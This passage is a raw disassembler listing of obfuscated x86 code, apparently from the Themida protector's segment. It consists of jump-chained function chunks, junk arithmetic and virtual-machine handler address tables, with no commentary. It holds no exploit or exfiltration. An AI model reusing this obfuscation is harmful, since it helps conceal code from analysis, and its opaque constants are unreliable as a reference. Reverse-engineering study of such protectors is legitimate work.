		mov	edi, [esp+40h+var_42+2]
		push	esi
		mov	esi, esp
		jmp	loc_5592CE
; ---------------------------------------------------------------------------


loc_55F72D:				; CODE XREF: sub_559C84-518Aj
		push	edx
		mov	dh, al
		mov	ch, dh
		pop	edx
		pop	eax
		add	bh, ch
		mov	ecx, [esp+3Eh+var_3E]
		add	esp, 4
		add	al, bh
		jmp	loc_55B4D4
; ---------------------------------------------------------------------------


loc_55F746:				; CODE XREF: sub_559C84-A35j
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp+5Eh+var_60+2]
		jmp	loc_5576A0
; ---------------------------------------------------------------------------


loc_55F752:				; CODE XREF: sub_559C84-5717j
		push	5E563768h
		jmp	loc_55C61D
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		sub	esp, 4
		push	ebp
		jmp	loc_553937
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F768:				; CODE XREF: sub_559C84+3C9Aj
		or	ecx, 7A3E6DAEh
		sub	ecx, 7F7F6DABh
		jmp	loc_558087
; ---------------------------------------------------------------------------


loc_55F779:				; CODE XREF: sub_559C84+2D73j
		dec	eax
		xor	eax, 68DB2CC1h
		jmp	loc_55C57C
; ---------------------------------------------------------------------------


loc_55F784:				; CODE XREF: sub_559C84-2DDFj
		dec	ecx
		push	edi
		mov	edi, 1A41684Ch
		shl	edi, 7
		or	edi, 2660EB0h
		jmp	sub_55F608
; ---------------------------------------------------------------------------


loc_55F799:				; CODE XREF: sub_559C84-1E9Cj
		push	dword ptr [esp+0]
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		push	5F7Fh
		mov	[esp+2+var_4+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_555115
; ---------------------------------------------------------------------------


loc_55F7BD:				; CODE XREF: sub_559C84-A43j
		xor	ebx, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], ebx
		xor	ebx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		push	3C95h
		mov	[esp+60h+var_60], edi
		jmp	loc_55C595
; ---------------------------------------------------------------------------


loc_55F7D6:				; CODE XREF: sub_559C84+2570j
		push	edi
		mov	edi, esp
		push	eax
		push	esi
		push	64594266h
		jmp	loc_556659
; ---------------------------------------------------------------------------


loc_55F7E5:				; CODE XREF: sub_559C84+3980j
		not	al
		xchg	al, ch
		jmp	loc_55D70B
; ---------------------------------------------------------------------------


loc_55F7EE:				; CODE XREF: sub_559C84-56Dj
		sub	al, 0FCh
		mov	edx, [esp+4Eh+var_4E]
		add	esp, 4
		jmp	sub_557976
; ---------------------------------------------------------------------------


loc_55F7FE:				; CODE XREF: sub_559C84+2BD0j
		pop	eax
		jmp	loc_55DB81
; ---------------------------------------------------------------------------


loc_55F804:				; CODE XREF: sub_559C84+1D97j
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		push	ebp
		not	[esp-8+arg_4]
		mov	ebp, [esp-8+arg_4]
		jmp	loc_55BC2E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555CF6


loc_55F816:				; CODE XREF: sub_555CF6+4j
		push	4BDAh
		mov	[esp+4+var_4], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 5FC74E41h
		push	32EEh
		mov	[esp+0Ch+var_C], edx
		jmp	loc_55B927
; END OF FUNCTION CHUNK	FOR sub_555CF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F833:				; CODE XREF: sub_559C84-D23j
		push	edx
		mov	edx, 2D2175DCh
		dec	edx
		neg	edx
		inc	edx
		jmp	loc_55639F
; ---------------------------------------------------------------------------


loc_55F842:				; CODE XREF: sub_559C84-4C00j
		xor	edi, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_559B01
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	120Dh
		mov	[esp], edx
		push	esi
		mov	esi, 629B036Eh
		jmp	loc_559724

; =============== S U B	R O U T	I N E =======================================



sub_55F86E	proc near		; CODE XREF: sub_559C84-3860j
		push	ebp
		mov	ebp, 0C4460C3h
		or	ebx, ebp
		jmp	loc_55C789
sub_55F86E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F87B:				; CODE XREF: sub_559C84-1405j
		mov	ecx, 4
		jmp	$+5
		add	eax, 12735DDFh
		add	eax, ecx
		sub	eax, 12735DDFh
		pop	ecx
		xchg	eax, [esp+0]
		pop	esp
		sub	al, 1Ah
		add	al, dh
		jmp	loc_55C892
; ---------------------------------------------------------------------------


loc_55F89F:				; CODE XREF: sub_559C84-22ABj
		xor	[esp+2Eh+var_30+2], ebp
		xor	ebp, [esp+2Eh+var_30+2]
		pop	esp
		shl	[esp+2Ah+var_2C+2], cl
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55F8AE:				; CODE XREF: sub_559C84-1822j
		sub	edx, 4
		xchg	edx, [esp+42h+var_42]
		jmp	loc_5564EB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F8B9:				; CODE XREF: Themida_:00554741j
		mov	dl, ah
		jmp	loc_556E13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F8C0:				; CODE XREF: sub_559C84+2105j
		push	6D7Fh
		jmp	loc_55F395
; ---------------------------------------------------------------------------


loc_55F8CA:				; CODE XREF: sub_559C84+4450j
		mov	ecx, 272A6DE8h
		add	esi, 162C5EBBh
		jmp	loc_55AB35
; ---------------------------------------------------------------------------


loc_55F8DA:				; CODE XREF: sub_559C84+EACj
		shr	ecx, 1
		or	ecx, 47E27877h
		sub	ecx, 23804601h
		push	eax
		mov	eax, 77E04CC1h
		jmp	loc_55526D
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F8F3:				; CODE XREF: Themida_:0055F160j
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_557A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557976


loc_55F903:				; CODE XREF: sub_557976+1Aj
		inc	dh
		push	ecx
		mov	cl, 5Fh
		sub	cl, 50h
		dec	cl
		shl	cl, 4
		push	ax
		mov	al, 3Eh
		add	al, 12h
		xor	al, 79h
		xor	cl, al
		pop	ax
		xor	dh, cl
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5593D5
; END OF FUNCTION CHUNK	FOR sub_557976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F92C:				; CODE XREF: sub_559C84+3AEFj
		sub	ebp, 251F1B36h
		xor	ebp, 0D17272A3h
		xor	eax, ebp
		pop	ebp
		jmp	loc_55BA6B
; ---------------------------------------------------------------------------


loc_55F940:				; CODE XREF: sub_559C84+3898j
		pop	cx
		mov	cl, bl
		pop	ebx
		jmp	loc_553F7B
; ---------------------------------------------------------------------------


loc_55F94A:				; CODE XREF: sub_559C84+127Dj
		add	esp, 4
		add	edi, edx
		add	edi, 1C6F43ABh
		pop	edx
		push	edx
		push	esi
		mov	esi, 20EB12C9h
		mov	edx, 0FB68FC60h
		add	edx, esi
		pop	esi
		push	edi
		mov	edi, 75115E4Ch
		sub	edx, 422752C5h
		add	edx, edi
		add	edx, 422752C5h
		pop	edi
		jmp	loc_557D93
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F982:				; CODE XREF: Themida_:00555F78j
		neg	dh
		and	dh, 1Ah
		xor	dh, 45h
		xor	dh, 0D1h
		xor	dh, 0E4h
		jmp	loc_556A0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F995:				; CODE XREF: sub_559C84-46F0j
		or	eax, eax
		jnz	loc_555E7F
		sub	esp, 4
		mov	[esp+0], ebx
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_55C33C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F9B4:				; CODE XREF: Themida_:0055932Fj
		add	eax, 4
		push	32DBh
		jmp	loc_557197
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F9C3:				; CODE XREF: sub_559C84-1ED9j
		add	edx, edi
		pop	edi
		jmp	loc_5536AE
; ---------------------------------------------------------------------------


loc_55F9CB:				; CODE XREF: sub_559C84+1D3j
		pop	ebx
		pop	ebp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55F9D2:				; CODE XREF: sub_559C84-4DE8j
		or	eax, eax
		jz	loc_556108
		push	dword ptr [edi+28h]
		push	[esp+46h+var_46]
		push	[esp+4Ah+var_4A]
		pop	eax
		sub	esp, 4
		mov	[esp+4Eh+var_4E], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_55A116
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55F9FD	proc near		; CODE XREF: sub_559C84-2D82j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005561A7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055636E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055782D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558C95 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055F535 SIZE 00000034 BYTES

		push	ebx
		push	[esp+8+var_4]
		mov	ebx, [esp+0]
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], dx
		push	eax
		mov	ah, 63h
		mov	dh, ah
		push	[esp+4+var_4]
		jmp	loc_5561A7
sub_55F9FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FA1D:				; CODE XREF: sub_559C84+2C82j
		add	edi, edx
		pop	edx
		jmp	loc_555367
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_55496A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FA35:				; CODE XREF: sub_559C84-3C0j
		add	edi, 0BB22553h
		sub	ecx, edi
		pop	edi
		push	ecx
		push	ecx
		mov	ecx, 75061F7Dh
		xor	[esp+44h+var_42+2], ecx
		pop	ecx
		pop	ebp
		xor	ebp, 75061F7Dh
		pop	ecx
		add	eax, ebp
		pop	ebp
		jmp	loc_555251
; ---------------------------------------------------------------------------


loc_55FA5A:				; CODE XREF: sub_559C84-2A1Cj
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	ax, word ptr [esp-4+arg_0]
		push	ebp
		jmp	loc_55B235
; ---------------------------------------------------------------------------


loc_55FA6A:				; CODE XREF: sub_559C84-3B4Bj
		push	edx
		push	ecx
		mov	ch, 0ADh
		jmp	loc_55DCA9
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55FA73	proc near		; CODE XREF: sub_5576EE+1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055478A SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 36337FABh
		jmp	loc_55478A
sub_55FA73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FA86:				; CODE XREF: sub_559C84-1B27j
		mov	edx, 55120FD6h
		and	edi, edx
		pop	edx
		xor	edi, 55820FD6h
		and	eax, edi
		push	[esp+52h+var_52]
		push	[esp+56h+var_58+2]
		jmp	loc_557C36
; ---------------------------------------------------------------------------


loc_55FAA1:				; CODE XREF: sub_559C84+236Fj
		push	esp
		pop	[esp+46h+var_46]
		push	ecx
		jmp	loc_557AA0
; ---------------------------------------------------------------------------


loc_55FAAB:				; CODE XREF: sub_559C84-2391j
		push	[esp+46h+var_46]
		jmp	loc_55A60C
; ---------------------------------------------------------------------------


loc_55FAB3:				; CODE XREF: sub_559C84+37E8j
		sub	ebx, edx
		push	ebp
		mov	ebp, 76FA6311h
		add	ebx, ebp
		pop	ebp
		mov	edx, [esp+48h+var_4A+2]
		add	esp, 4
		sub	ebx, 2D494D1Eh
		add	ebx, 59A71D84h
		jmp	loc_55EAE9
; ---------------------------------------------------------------------------


loc_55FAD8:				; CODE XREF: sub_559C84+52BBj
		pop	esp
		mov	[esp+5Ah+var_5C+2], esi
		push	7E75h
		mov	[esp+5Eh+var_60+2], ebx
		mov	ebx, 3C2E3A97h
		jmp	loc_55B382
; ---------------------------------------------------------------------------


loc_55FAEE:				; CODE XREF: sub_559C84+1DBj
		pop	esp
		mov	[esp+40h+var_42+2], ebx
		mov	bl, ch
		mov	ch, byte ptr [esp+40h+var_3E+2]
		mov	byte ptr [esp+40h+var_3E+2], bl
		jmp	loc_55D2BF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55FB01:				; CODE XREF: Themida_:00554E44j
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, 3BB1784Bh
		jmp	loc_55D6BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FB14:				; CODE XREF: sub_559C84-131Aj
		sub	ecx, ebx
		pop	ebx
		add	esi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		push	eax
		push	6725h
		mov	[esp+2+var_4+2], ebp
		mov	ebp, 2
		mov	eax, ebp
		pop	ebp
		add	esi, eax
		pop	eax
		jmp	loc_555EF3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554D6A


loc_55FB38:				; CODE XREF: sub_554D6A+11j
		mov	esp, [esp+0]
		sub	esp, 4
		jmp	loc_55E7C0
; END OF FUNCTION CHUNK	FOR sub_554D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FB43:				; CODE XREF: sub_559C84+12B4j
		mov	eax, [esp+38h+var_3A+2]
		add	esp, 4
		jmp	loc_55DA2E
; ---------------------------------------------------------------------------


loc_55FB4E:				; CODE XREF: sub_559C84+4EACj
		movzx	cx, al
		push	edx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_554610
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55369E


loc_55FB65:				; CODE XREF: sub_55369E+Bj
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_55369E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FB6A:				; CODE XREF: sub_559C84-E5Fj
		pop	edx
		pop	[esp+20h+var_20]
		jmp	loc_55CA0C
; ---------------------------------------------------------------------------


loc_55FB73:				; CODE XREF: sub_559C84+20DCj
		push	[esp+6Ah+var_6A]
		pop	eax
		push	eax
		jmp	loc_55E536
; ---------------------------------------------------------------------------


loc_55FB7D:				; CODE XREF: sub_559C84+3989j
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		jmp	sub_55895E
; ---------------------------------------------------------------------------


loc_55FB8B:				; CODE XREF: sub_559C84+2718j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55DA9D
; ---------------------------------------------------------------------------


loc_55FB99:				; CODE XREF: sub_559C84+167Cj
		sub	edx, 52DA6294h
		shr	edx, 2
		shl	edx, 8
		jmp	loc_55D0F7
; ---------------------------------------------------------------------------


loc_55FBAA:				; CODE XREF: sub_559C84-65B1j
		mov	[esp+12h+var_14+2], ebx
		mov	ebx, 6B6819B6h
		add	edi, ebx
		jmp	loc_55A4AD
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55FBB9:				; CODE XREF: Themida_:00554726j
		pop	edx
		jmp	loc_554865
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FBBF:				; CODE XREF: sub_559C84-843j
		mov	esp, [esp+10h+var_10]
		jmp	loc_5538C5
; ---------------------------------------------------------------------------


loc_55FBC7:				; CODE XREF: sub_559C84-724j
		mov	esi, 261D6CA4h
		add	ebx, esi
		pop	esi
		jmp	loc_556012
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55FBD4:				; CODE XREF: Themida_:0055969Aj
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FBE9:				; CODE XREF: sub_559C84+6E5j
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55F61D
; ---------------------------------------------------------------------------


loc_55FBF1:				; CODE XREF: sub_559C84-4018j
		add	esp, 4
		jmp	sub_5599A2
; ---------------------------------------------------------------------------


loc_55FBFC:				; CODE XREF: sub_559C84+14D6j
		mov	ebp, 0AC6251Bh
		not	ebp
		neg	ebp
		jmp	loc_5596CF
; ---------------------------------------------------------------------------


loc_55FC0A:				; CODE XREF: sub_559C84+42B5j
		push	small 93Bh
		mov	[esp+0], ax
		jmp	loc_55D5ED
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55E4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FC1D:				; CODE XREF: sub_559C84-5FECj
		mov	edi, [esp+20h+var_20]
		jmp	loc_55C7E1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55FC25:				; CODE XREF: Themida_:00558FA4j
		sub	dword ptr [esp], 3A5F79A0h
		pop	ecx
		add	ecx, 3A5F79A0h
		jmp	loc_55684C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55FC38:				; CODE XREF: sub_559C84+1EDFj
		xchg	edx, [esp+20h+var_20]
		jmp	loc_556027
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55FC40:				; CODE XREF: Themida_:0055710Aj
		push	ebp
		mov	ebp, 2E7A230Ah
		shr	ebp, 3
		push	eax
		mov	eax, 48E603A8h
		dec	eax
		add	eax, 0D42E19E7h
		add	ebp, eax
		pop	eax
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_55EE8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D58


loc_55FC66:				; CODE XREF: sub_553D58+31CCj
		pop	edx
		pop	ecx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ch, 0Ch
		push	ebx
		mov	bl, 9Eh
		jmp	loc_55714D
; END OF FUNCTION CHUNK	FOR sub_553D58
; ---------------------------------------------------------------------------
		dd offset loc_5BACA7
		dd 16E9h, 33133250h, 5BB8B0h, 0FA44B46Bh, 5BACF1h, 0
		dd 213h, 2, 1, 6, 0FA44B46Bh, 5	dup(0)
		dd offset byte_56F90D
		dd offset loc_573509
		dd offset loc_574113
		dd offset loc_56E9D2
		dd offset loc_564545
		dd offset loc_568298
		dd offset loc_5753F6
		dd offset loc_5711C1
		dd offset loc_569A37
		dd offset sub_56D464
		dd offset sub_573612
		dd offset sub_5753A5
		dd offset sub_570082
		dd offset sub_56E90A
		dd offset sub_572075
		dd offset sub_57266F
		dd offset sub_56666D
		dd offset sub_570E81
		dd offset sub_562BA0
		dd offset sub_56AB51
		dd offset sub_56F782
		dd offset sub_563FA2
		dd offset sub_563152
		dd offset sub_575420
		dd offset sub_56628B
		dd offset sub_566117
		dd offset sub_56D69D
		dd offset sub_5745B5
		dd offset sub_572D45
		dd offset sub_57549C
		dd offset sub_563207
		dd offset sub_5716E8
		dd offset sub_573A7F
		dd offset sub_574F16
		dd offset sub_56E96D
; ---------------------------------------------------------------------------
		or	dh, ah
		push	esi
		add	dh, ch
		retf
; ---------------------------------------------------------------------------
		dw 56h
		dd offset sub_572270
		dd offset sub_566882
		dd offset sub_5697F2
		dd offset sub_564BD0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 44h,	56h, 0
; ---------------------------------------------------------------------------
		retn	560Eh
; ---------------------------------------------------------------------------
		align 4
		dd offset sub_5619EF
		dd offset sub_56E0B0
		dd offset sub_5747AF
		dd offset sub_5738FA
		dd offset sub_572805
		dd offset sub_5739E2
		dd offset sub_56BD36
		dd offset sub_56B06D
		dd offset sub_572DD7
		dd offset sub_56241E
		dd offset sub_5726FB
		dd offset sub_560C12
		dd offset sub_568764
		dd offset sub_574000
		dd offset sub_570732
		dd offset sub_569FB8
		dd offset sub_56931E
		dd offset sub_56D3AF
		dd offset sub_574287
		dd offset sub_5713A7
		dd offset sub_569A75
		dd offset sub_56BC97
		dd offset sub_5629A9
		dd offset sub_560782
		dd offset sub_568658
		dd offset sub_56D3B7
		dd offset sub_561784
		dd offset sub_57523A
		dd offset sub_567CFE
		dd offset sub_566AF1
		dd offset sub_56DFF9
		dd offset sub_5690E8
		dd offset sub_563ADF
; ---------------------------------------------------------------------------
		fimul	dword ptr [edx]
		push	edi
		add	[ecx-78h], bl
		push	esi
		add	[ebx], dh
		retn	56h
; ---------------------------------------------------------------------------
		dd offset loc_569CDC
		dd offset sub_574AF3
		dd offset sub_573D90
		dd offset sub_572141
		dd offset sub_56EE9F
		dd offset sub_570A94
		dd offset sub_560137
		dd offset sub_56D359
		dd offset sub_564017
		dd offset sub_562EA2
		dd offset sub_5734A7
		dd offset sub_56E5BB
		dd offset sub_574CBE
		dd offset sub_564B0B
		dd offset sub_56E7C8
		dd offset sub_574FC9
		dd offset sub_562676
		dd offset sub_56DEC6
		dd offset sub_562ED9
		dd offset sub_56D855
		dd offset sub_560EA2
		dd offset sub_567CF5
		dd offset sub_56264C
		dd offset sub_56B6D5
		dd offset sub_56DDC5
		dd offset sub_565BBC
		dd offset sub_567CC4
		dd offset sub_56CD13
		dd offset sub_572EDC
		dd offset sub_5680FB
		dd offset sub_567D72
		dd offset sub_574DC1
		dd offset sub_5692D3
		dd offset sub_5729DA
		dd offset sub_56AB93
		dd offset sub_569186
		dd offset sub_56BD61
		dd offset sub_5604FE
		dd offset sub_5671E1
		dd offset sub_565CB7
		dd offset sub_567F6F
		dd offset sub_567866
		dd offset sub_569CBC
		dd offset sub_561F05
		dd offset sub_56CC46
		dd offset sub_567C58
		dd offset sub_56F3B2
		dd offset sub_564746
		dd offset sub_566400
		dd offset sub_5754DA
		dd offset sub_57109F
		dd offset sub_56638C
		dd offset sub_560844
		dd offset sub_56306E
		dd offset sub_566AF9
		dd offset sub_56749A
		dd offset sub_56FD38
		dd offset sub_570C6A
		dd offset sub_569E1B
		dd offset sub_5680F2
		dd offset sub_574503
		dd offset sub_569DB5
		dd offset sub_57146D
		dd offset sub_5729F9
		dd offset sub_569A84
		dd offset sub_571890
		dd offset sub_570621
		dd offset sub_56592A
		dd offset sub_56C474
		dd offset sub_56D455
		dd offset sub_56EF22
		dd offset sub_573A8F
		dd offset sub_56F029
		dd offset sub_572641
		dd offset sub_570CE4
		dd offset sub_56D414
		dd offset sub_56FA44
		dd offset sub_5662F9
		dd offset sub_5747FA
; ---------------------------------------------------------------------------
		lodsb
		or	al, 56h
		add	[edx], al
		retf	56h
; ---------------------------------------------------------------------------
		dd offset sub_5684A6
		dd offset sub_571A50
		dd offset sub_574229
		dd offset sub_572E16
		dd offset sub_574A21
		dd offset sub_56B1DC
		dd offset sub_5740F2
; ---------------------------------------------------------------------------


loc_55FF58:				; CODE XREF: Themida_:005A7D08j
					; Themida_:005AB483j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6114AF5h
		mov	eax, edi
		add	edi, 611480Dh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55FF76
		jmp	short loc_55FF89
; ---------------------------------------------------------------------------


loc_55FF76:				; CODE XREF: Themida_:0055FF72j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55FF85
; ---------------------------------------------------------------------------


loc_55FF80:				; CODE XREF: Themida_:0055FF87j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55FF85:				; CODE XREF: Themida_:0055FF7Ej
		or	ecx, ecx
		jnz	short loc_55FF80


loc_55FF89:				; CODE XREF: Themida_:0055FF74j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55FF96:				; CODE XREF: Themida_:0055FF9Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55FF96
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_55FF9F:				; CODE XREF: sub_56E0CB-E0DCj
					; sub_5653AD:loc_56003Ej ...
		lodsb
		add	al, 92h
		jmp	sub_56FA15
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------


loc_55FFA7:				; CODE XREF: Themida_:00571D26j
		add	esp, 4
		xor	ebx, esi
		pop	esi
		sub	ebx, 0E43A692Dh
		jmp	loc_57465C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_55FFB8:				; CODE XREF: sub_567CFE-22FCj
		push	edi
		mov	edi, 1
		add	eax, edi
		pop	edi
		xor	eax, 789FA651h
		sub	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		add	[esp+0Ch+var_C], 7DF95B68h
		pop	ebp
		push	edx
		mov	edx, 5EF93172h
		jmp	loc_56E0FB
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_55FFE5:				; CODE XREF: sub_56E0CB-3265j
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		cmp	cx, ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_55FFF4:				; CODE XREF: sub_5681F5+675Dj
		pop	edx
		push	7C71h
		mov	[esp+0], eax


loc_55FFFD:				; DATA XREF: sub_583550+468o
		mov	eax, 36857CC9h
		jmp	loc_573459
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_560007:				; CODE XREF: sub_566C83-6618j
		sub	eax, 623660FEh
		add	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		sub	ebx, 41FB5339h
		add	ebx, eax
		jmp	loc_56A763
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_560024:				; CODE XREF: sub_56DA43+5540j
		mov	ebp, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_57218C
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56002E:				; CODE XREF: sub_56AEF2+9596j
		mov	esi, 6F6058AAh
		jmp	loc_57477E
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56504F


loc_560038:				; CODE XREF: sub_56504F+6j
		push	esp
		jmp	loc_566F09
; END OF FUNCTION CHUNK	FOR sub_56504F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_56003E:				; CODE XREF: sub_5653AD+3673j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_560043:				; CODE XREF: sub_569AB3+13C7j
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		push	eax
		push	ecx
		mov	ecx, 463E4372h
		mov	eax, ecx
		pop	ecx
		jmp	loc_56F333
; END OF FUNCTION CHUNK	FOR sub_569AB3

; =============== S U B	R O U T	I N E =======================================



sub_560056	proc near		; CODE XREF: sub_56925C+95A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560A03 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561E44 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00564953 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565023 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567724 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00569EE8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B143 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CA31 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056CB17 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056E982 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F91E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572988 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573F9D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573FEC SIZE 00000014 BYTES

		push	ebp
		jmp	loc_56CB17
